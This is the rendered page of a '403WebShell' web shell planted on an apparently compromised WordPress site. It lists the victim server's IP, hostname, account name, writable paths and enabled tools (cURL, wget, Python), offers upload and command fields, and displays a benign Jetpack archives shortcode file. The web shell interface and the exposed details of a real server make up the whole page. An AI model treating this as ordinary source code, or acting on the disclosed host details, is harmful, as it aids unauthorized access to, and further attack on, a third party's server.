Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.147.42.34
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/jetpack/modules/shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/jetpack/modules/shortcodes/archives.php
<?php
/**
 * Archives shortcode
 *
 * @author bubel & nickmomrik
 * [archives limit=10]
 *
 * @package automattic/jetpack
 */

add_shortcode( 'archives', 'archives_shortcode' );

/**
 * Display Archives shortcode.
 *
 * @param array $atts Shortcode attributes.
 */
function archives_shortcode( $atts ) {
	if ( is_feed() ) {
		return '[archives]';
	}

	global $allowedposttags;

	$default_atts = array(
		'type'      => 'postbypost',
		'limit'     => '',
		'format'    => 'html',
		'showcount' => false,
		'before'    => '',
		'after'     => '',
		'order'     => 'desc',
	);

	$attr = shortcode_atts( $default_atts, $atts, 'archives' );

	if ( ! in_array( $attr['type'], array( 'yearly', 'monthly', 'daily', 'weekly', 'postbypost' ), true ) ) {
		$attr['type'] = 'postbypost';
	}

	if ( ! in_array( $attr['format'], array( 'html', 'option', 'custom' ), true ) ) {
		$attr['format'] = 'html';
	}

	$limit = (int) $attr['limit'];
	// A Limit of 0 makes no sense so revert back to the default.
	if ( empty( $limit ) ) {
		$limit = '';
	}

	$showcount = ( false !== $attr['showcount'] && 'false' !== $attr['showcount'] ) ? true : false;
	$before    = wp_kses( $attr['before'], $allowedposttags );
	$after     = wp_kses( $attr['after'], $allowedposttags );

	// Get the archives.
	$archives = wp_get_archives(
		array(
			'type'            => $attr['type'],
			'limit'           => $limit,
			'format'          => $attr['format'],
			'echo'            => false,
			'show_post_count' => $showcount,
			'before'          => $before,
			'after'           => $after,
		)
	);

	if ( 'asc' === $attr['order'] ) {
		$archives = implode( "\n", array_reverse( explode( "\n", $archives ) ) );
	}

	// Check to see if there are any archives.
	if ( empty( $archives ) ) {
		$archives = '<p>' . __( 'Your blog does not currently have any published posts.', 'jetpack' ) . '</p>';
	} elseif ( 'option' === $attr['format'] ) {
		$is_amp           = class_exists( 'Jetpack_AMP_Support' ) && Jetpack_AMP_Support::is_amp_request();
		$change_attribute = $is_amp ? 'on="change:AMP.navigateTo(url=event.value)"' : 'onchange="document.location.href=this.options[this.selectedIndex].value;"';
		$archives         = '<select name="archive-dropdown" ' . $change_attribute . '><option value="' . get_permalink() . '">--</option>' . $archives . '</select>';
	} elseif ( 'html' === $attr['format'] ) {
		$archives = '<ul>' . $archives . '</ul>';
	}

	return $archives;
}

Youez - 2016 - github.com/yon3zu
LinuXploit